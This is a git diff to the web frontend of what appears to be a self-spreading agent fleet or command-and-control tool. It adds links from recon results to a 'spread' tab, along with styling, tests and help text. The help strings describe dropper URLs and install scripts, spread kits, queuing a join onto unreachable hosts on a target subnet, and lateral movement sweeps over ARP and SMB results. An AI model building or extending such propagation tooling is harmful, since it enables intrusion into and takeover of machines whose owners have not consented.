diff --git a/server/web/e2e/deploy-recon.spec.ts b/server/web/e2e/deploy-recon.spec.ts index a634209..5f36478 100644 --- a/server/web/e2e/deploy-recon.spec.ts +++ b/server/web/e2e/deploy-recon.spec.ts @@ -38,7 +38,7 @@ test.describe('Deploy Recon smoke', () => { await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 }); await expect(page.getByTestId('dr-port-matrix')).toBeVisible(); await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible(); - await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i })).toBeVisible(); + await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i }).first()).toBeVisible(); }); test('/browser-spread alias redirects to deploy recon', async ({ page }) => { diff --git a/server/web/src/audio/ambientMusic.ts b/server/web/src/audio/ambientMusic.ts index 569d703..9012bce 100644 --- a/server/web/src/audio/ambientMusic.ts +++ b/server/web/src/audio/ambientMusic.ts @@ -22,6 +22,8 @@ export const PAGE_AMBIENT_INTENSITY: Record = { '/dashboard': 0.65, '/builds': 0.55, '/pathtracer': 0.4, + '/deploy-recon': 0.75, + '/browser-spread': 0.75, '/settings': 0.25, }; diff --git a/server/web/src/components/Spread/CloudSpreadPanel.test.tsx b/server/web/src/components/Spread/CloudSpreadPanel.test.tsx index 7fbe1c7..09c19da 100644 --- a/server/web/src/components/Spread/CloudSpreadPanel.test.tsx +++ b/server/web/src/components/Spread/CloudSpreadPanel.test.tsx @@ -1,6 +1,8 @@ /** @vitest-environment happy-dom */ -import { describe, expect, it, vi } from 'vitest'; -import { render, screen } from '@testing-library/react'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { cleanup, render, screen } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; +import { MemoryRouter } from 'react-router-dom'; import CloudSpreadPanel from './CloudSpreadPanel'; vi.mock('../../api/client', () => ({ @@ -11,11 +13,28 @@ vi.mock('../../api/client', () => ({ })); describe('CloudSpreadPanel', () => { + afterEach(() => cleanup()); it('renders cloud ecosystem hub', () => { - render(); + render( + + + , + ); expect(screen.getByTestId('cloud-spread-panel')).toBeInTheDocument(); expect(screen.getByTestId('cloud-method-s3-cloudfront')).toBeInTheDocument(); expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument(); }); + + it('shows Crucible cross-link when recon host is entered', async () => { + const user = userEvent.setup(); + render( + + + , + ); + await user.type(screen.getAllByTestId('cloud-recon-host')[0], '10.1.2.50'); + const link = screen.getByRole('link', { name: /Open Crucible spread tab/i }); + expect(link).toHaveAttribute('href', '/crucible?reconHost=10.1.2.50&tab=spread&finding=ssm_document'); + }); }); diff --git a/server/web/src/components/Spread/CloudSpreadPanel.tsx b/server/web/src/components/Spread/CloudSpreadPanel.tsx index 5c4c83a..b8e146e 100644 --- a/server/web/src/components/Spread/CloudSpreadPanel.tsx +++ b/server/web/src/components/Spread/CloudSpreadPanel.tsx @@ -1,5 +1,7 @@ import { memo, useMemo, useState } from 'react'; +import { Link } from 'react-router-dom'; import { HelpTip } from '../HelpTip'; +import { crucibleSpreadLink } from '../../help/deployRecon'; import { cloudMethodsByGroup, RELATED_SPREAD_TEMPLATE_LINKS } from '../../help/cloudSpreadMethods'; import CloudMethodPanel, { type CloudMethodConfig } from './CloudMethodPanel'; import './CloudSpreadPanel.css'; @@ -11,6 +13,7 @@ export interface CloudSpreadPanelProps { } function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: CloudSpreadPanelProps) { + const [reconHost, setReconHost] = useState(''); const [bucket, setBucket] = useState('aetherforge-shards'); const [cloudfrontDomain, setCloudfrontDomain] = useState(''); const [minioEndpoint, setMinioEndpoint] = useState('https://minio.example:9000'); @@ -64,6 +67,28 @@ function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: Cloud {cloudMethodsByGroup('generic').map((m) => ( ))} +
+ + {reconHost.trim() ? ( +

+ Open Crucible spread tab + {' '}— pre-fills deploy kit and spread-to-host for this target. +

+ ) : ( +

Paste a recon IP from service graph or vuln findings to continue in Crucible.

+ )} +
Related lateral templates
    diff --git a/server/web/src/help/deployRecon.test.ts b/server/web/src/help/deployRecon.test.ts index 79bbd19..6c61ff5 100644 --- a/server/web/src/help/deployRecon.test.ts +++ b/server/web/src/help/deployRecon.test.ts @@ -9,6 +9,16 @@ import { } from './deployRecon'; import type { ReconScanReport } from '../types/recon'; +describe('crucibleSpreadLink', () => { + it('builds reconHost spread tab URL', () => { + expect(crucibleSpreadLink('10.1.2.50')).toBe('/crucible?reconHost=10.1.2.50&tab=spread'); + }); + + it('includes finding when provided', () => { + expect(crucibleSpreadLink('10.1.2.50', 'winrm')).toContain('finding=winrm'); + }); +}); + describe('deployRecon helpers', () => { it('maps scan form to API body', () => { expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({ @@ -55,8 +65,4 @@ describe('deployRecon helpers', () => { expect(cards.some((c) => c.kind === 'cms')).toBe(true); expect(buildReconMermaid(report.ports, cards)).toContain('flowchart'); }); - - it('crucible spread link encodes host and tab', () => { - expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5'); - }); }); diff --git a/server/web/src/help/docAnchors.ts b/server/web/src/help/docAnchors.ts index ed638b1..698aa01 100644 --- a/server/web/src/help/docAnchors.ts +++ b/server/web/src/help/docAnchors.ts @@ -140,6 +140,10 @@ export const DOC_ANCHORS: Record = { dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', crucible_node_roster: '/docs/#dashboard', crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan', + crucible_recon_host: '/docs/SPREAD_TECHNIQUES.html#lan', + recon_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon', + fleet_spread_to_host: '/docs/SPREAD_TECHNIQUES.html#lan', + ew_crucible_recon_link: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser', dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan', dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser', diff --git a/server/web/src/help/pageWeather.ts b/server/web/src/help/pageWeather.ts index 0ae7a4d..bc0bd88 100644 --- a/server/web/src/help/pageWeather.ts +++ b/server/web/src/help/pageWeather.ts @@ -205,6 +205,30 @@ export const PAGE_WEATHER: Record = { gridDrift: 90, palette: 'dim', }, + '/deploy-recon': { + vibe: 'emberwake-pulse', + intensity: 0.7, + speed: 0.48, + pulse: 1.1, + density: 0.82, + linkStrength: 0.65, + layerOpacity: 0.52, + orbDrift: 11, + gridDrift: 42, + palette: 'campaign', + }, + '/browser-spread': { + vibe: 'emberwake-pulse', + intensity: 0.7, + speed: 0.48, + pulse: 1.1, + density: 0.82, + linkStrength: 0.65, + layerOpacity: 0.52, + orbDrift: 11, + gridDrift: 42, + palette: 'campaign', + }, }; export function resolvePageWeather(pathname: string): PageWeatherConfig { diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index 9393f17..f5cc748 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -148,6 +148,8 @@ describe('FIELD_HELP', () => { 'forge_operation_mode', 'forge_path_forge', 'aws_erasure_swarm', + 'recon_deploy_kit', + 'fleet_spread_to_host', ] as const; it('defines help text for every documented field key', () => { diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index c681d73..964b30b 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -200,4 +200,8 @@ export const FIELD_HELP: Record = { 'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.', aws_erasure_swarm: 'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.', + recon_deploy_kit: + 'GET /api/v1/recon/deploy-kit returns a lane-specific kit for a recon host: dropper URLs (/get, install.ps1/sh), spread-kit ZIP export path, signed deploy-plan template, and SSM bundle when the finding maps to ssm_document. Used by Crucible recon spread and Emberwake cloud cross-links.', + fleet_spread_to_host: + 'POST /api/v1/fleet/spread-to-host queues discover_and_join from the best online seed on the target /24 when no agent_id exists for the IP. Response includes recommended_command and operator_note when dispatch is deferred.', }; diff --git a/server/web/src/help/uiHelp.test.ts b/server/web/src/help/uiHelp.test.ts index 01b5258..270ff87 100644 --- a/server/web/src/help/uiHelp.test.ts +++ b/server/web/src/help/uiHelp.test.ts @@ -98,6 +98,8 @@ describe('UI_HELP', () => { 'ew_war_room_leak', 'ew_cloud_aws', 'ew_cloud_generic', + 'ew_crucible_recon_link', + 'crucible_recon_host', 'crucible_btn_spread_now', 'crucible_btn_subnet_scan', 'crucible_btn_hole_punch', diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts index 1376f4a..4e9354f 100644 --- a/server/web/src/help/uiHelp.ts +++ b/server/web/src/help/uiHelp.ts @@ -200,6 +200,11 @@ export const UI_HELP: Record = { 'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.', ew_cloud_generic: 'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.', + ew_crucible_recon_link: + 'Cross-link to Crucible with ?reconHost= — opens the spread tab, loads GET /api/v1/recon/deploy-kit, and shows spread-to-unreachable-host when no fleet agent matches the IP.', + + crucible_recon_host: + 'Query param ?reconHost= pre-filters the roster to matching IP/hostname and opens Spread ops. When the host has no online agent, use manual IP target + Spread to host (POST /api/v1/fleet/spread-to-host).', crucible_btn_spread_now: 'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.', diff --git a/server/web/src/pages/CruciblePage.test.tsx b/server/web/src/pages/CruciblePage.test.tsx index 3c73a8f..4ab801d 100644 --- a/server/web/src/pages/CruciblePage.test.tsx +++ b/server/web/src/pages/CruciblePage.test.tsx @@ -36,6 +36,19 @@ vi.mock('../hooks/useFleetGroups', () => ({ vi.mock('../api/client', () => ({ api: { sendAgentCommand: vi.fn().mockResolvedValue({ success: true }), + getReconDeployKit: vi.fn().mockResolvedValue({ + ok: true, + host: '10.1.2.99', + join_lane: 'winrm', + dropper_urls: { install_sh: 'https://deck/install.sh' }, + }), + postFleetSpreadToHost: vi.fn().mockResolvedValue({ + ok: true, + host: '10.1.2.99', + recommended_command: 'discover_and_join', + operator_note: 'seed from lan-1', + seed_agent_id: 'seed-1', + }), }, })); @@ -75,6 +88,10 @@ vi.mock('../components/Fleet/FullSysCheckPanel', () => ({ default: () => null, })); +vi.mock('../components/Fleet/AccessDepthPanel', () => ({ + default: () => null, +})); + vi.mock('../components/HelpTip', () => ({ HelpTip: () => null, })); @@ -304,6 +321,25 @@ describe('CruciblePage terminal — command_result processing', () => { }); }); +describe('CruciblePage reconHost query', () => { + beforeEach(() => vi.clearAllMocks()); + afterEach(() => cleanup()); + + it('shows unreachable host spread panel when reconHost has no online agent', async () => { + const offline = mockAgent({ id: 'off-1', name: 'ghost', ip: '10.1.2.99', status: 'offline' }); + useWebSocketMock.mockReturnValue(makeWsValue({ agents: [offline] }) as ReturnType); + render( + + + , + ); + await waitFor(() => { + expect(screen.getByText(/Spread to unreachable host/i)).toBeInTheDocument(); + }); + expect(screen.getByDisplayValue('10.1.2.99')).toBeInTheDocument(); + }); +}); + // ── Helper function tests ───────────────────────────────────────────────── describe('CruciblePage helpers', () => { diff --git a/server/web/src/pages/DeployReconPage.test.tsx b/server/web/src/pages/DeployReconPage.test.tsx index a241a65..ef9aa82 100644 --- a/server/web/src/pages/DeployReconPage.test.tsx +++ b/server/web/src/pages/DeployReconPage.test.tsx @@ -93,23 +93,24 @@ describe('DeployReconPage', () => { await waitFor(() => expect(api.reconScan).toHaveBeenCalled()); expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument(); expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument(); - expect(screen.getByRole('link', { name: /Fleet spread to scan\.lab/i })).toHaveAttribute( - 'href', - '/crucible?tab=spread&spread_host=scan.lab', - ); + const spreadLinks = screen.getAllByRole('link', { name: /Fleet spread to scan\.lab/i }); + expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread'); }); it('shows skeleton while scanning', async () => { - let resolveScan!: (v: ReconScanReport) => void; + vi.useFakeTimers({ shouldAdvanceTime: true }); + let resolveScan: ((v: ReconScanReport) => void) | undefined; vi.spyOn(api, 'reconScan').mockImplementation( () => new Promise((res) => { resolveScan = res; }), ); - const user = userEvent.setup(); + const user = userEvent.setup({ advanceTimers: vi.advanceTimersByTime }); renderPage(); await user.type(screen.getByTestId('dr-host-input'), 'slow.lab'); await user.click(screen.getByTestId('dr-scan-btn')); expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument(); - resolveScan(sampleReport); + await vi.advanceTimersByTimeAsync(400); + resolveScan?.(sampleReport); expect(await screen.findByTestId('dr-results')).toBeInTheDocument(); + vi.useRealTimers(); }); }); diff --git a/server/web/src/pages/DeployReconPage.tsx b/server/web/src/pages/DeployReconPage.tsx index 0f99b7e..171d5ac 100644 --- a/server/web/src/pages/DeployReconPage.tsx +++ b/server/web/src/pages/DeployReconPage.tsx @@ -218,15 +218,13 @@ export default function DeployReconPage() { const runScan = useCallback(async () => { const trimmed = host.trim(); if (!trimmed) { + setScanning(false); setError('Host or IP required'); return; } abortRef.current?.abort(); const controller = new AbortController(); abortRef.current = controller; - setScanning(true); - setError(''); - setReport(null); const portNum = parseInt(port, 10) || 80; try { const body = reconScanBody(trimmed, portNum, https, pathPrefix); @@ -241,11 +239,20 @@ export default function DeployReconPage() { }, [host, port, https, pathPrefix]); const scheduleScan = useCallback(() => { + const trimmed = host.trim(); + if (!trimmed) { + setError('Host or IP required'); + return; + } + abortRef.current?.abort(); + setScanning(true); + setError(''); + setReport(null); if (debounceRef.current) clearTimeout(debounceRef.current); debounceRef.current = setTimeout(() => { void runScan(); }, SCAN_DEBOUNCE_MS); - }, [runScan]); + }, [host, runScan]); useEffect(() => () => { abortRef.current?.abort();